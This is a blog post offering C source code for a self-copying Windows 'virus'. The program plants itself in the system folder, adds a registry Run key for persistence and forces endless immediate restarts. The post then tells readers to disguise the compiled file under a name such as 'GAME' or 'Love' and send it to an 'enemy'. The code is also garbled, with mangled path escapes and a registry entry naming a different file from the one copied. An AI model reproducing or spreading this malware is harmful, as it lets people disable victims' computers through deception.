Source code to restart windows

Source code to Restart your PC every time… this is a simple program which make a .exe in SYSTEM folder…and create registry to run file when we login… Source:- #include #include #include int found,drive_no; char buff[128]; void findroot() { int done; struct ffblk ffblk; //File block structure done=findfirst(“C:\\windows\ \system”,&ffblk,FA_DIREC); // to determine the root drive if(done==0) { done=findfirst(“C:\\windows\ \system\ \shacker.exe”,&ffblk,0); // to determine whether the virus is already installed or not if(done==0) { found=1; //means that the system is already infected return; } drive_no=1; return; } done=findfirst(“D:\\windows\ \system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst(“D:\\windows\ \system\ \shacker.exe”,&ffblk,0); if(done==0) { found=1;return; } drive_no=2; return; } done=findfirst(“E:\\windows\ \system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst(“E:\\windows\ \system\ \shacker.exe”,&ffblk,0); if(done==0) { found=1; return; } drive_no=3; return; } done=findfirst(“F:\\windows\ \system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst(“F:\\windows\ \system\ \shacker.exe”,&ffblk,0); if(done==0) { found=1; return; } drive_no=4; return; } else exit(0); } void main() { FILE *self,*target; clrscr(); findroot(); if(found==0) //if the system is not already infected { self=fopen(_argv[0],”rb”); // The virus file open’s itself switch(drive_no) { case 1: target=fopen(“C:\\windows\ \system \\shacker.exe”,”wb”); //to place a copy of itself in a remote place system(“REG ADD HKEY_CURRENT_USER\ \Software\ \Microsoft\\Windows\ \CurrentVersion\ \Run \/v sres \/t REG_SZ \/d C:\\windows\ \system\\ sysres.exe”); //put this file to registry for starup break; case 2: target=fopen(“D:\\windows\ \system \\shacker.exe”,”wb”); system(“REG ADD HKEY_CURRENT_USER\ \Software\ \Microsoft\\Windows\ \CurrentVersion\\Run \/v sres \/t REG_SZ \/dD:\\windows\ \system\ \sysres.exe”); break; case 3: target=fopen(“E:\\windows\ \system \\shacker.exe”,”wb”); system(“REG ADD HKEY_CURRENT_USER\ \Software\ \Microsoft\\Windows\ \CurrentVersion\\Run \/v sres \/t REG_SZ \/dE:\\windows\ \system\ \sysres.exe”); break; case 4: target=fopen(“F:\\windows\ \system \\shacker.exe”,”wb”); system(“REG ADD HKEY_CURRENT_USER\ \Software\ \Microsoft\\Windows\ \CurrentVersion\\Run \/v sres \/t REG_SZ \/dF:\\windows\ \system\ \sysres.exe”); break; default: exit(0); } while(fread(buff,1,1,self)>0) fwrite(buff,1,1,target); fcloseall(); } else system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart } Copy this code in notepad and open it in Turbo C++ Compiler… NOTE:- 1. This can harm your Computer..that do not run in your own PC… 2. If Bi-mistake you run Program than Goto safe mode and delete Shacker.exe file from System folder… Now you ask me how to send this virus to Victim… 1. Open this program in Turbo C++… 2. Now Press F9 to linking it…. this can create .exe file in Source folder…. 3. Now Copy the .exe file and rename it any thing like GAME,Love etc… 4. ok…you complete..send the file to your enemy… NOTE:- 1. Do not Run OR Compile the Proggy… if you have any problem than comment me …otherwise mail me….. Best of luck,….enjoy the Virus….

Comments

Popular posts from this blog

How to Watch 18+ Videos On You-tube Without Signing In?

Basic Of Electric Guitar And Electric Guitar Buying Guide

Cancer :Facts Which are Common And Death Which Are Popular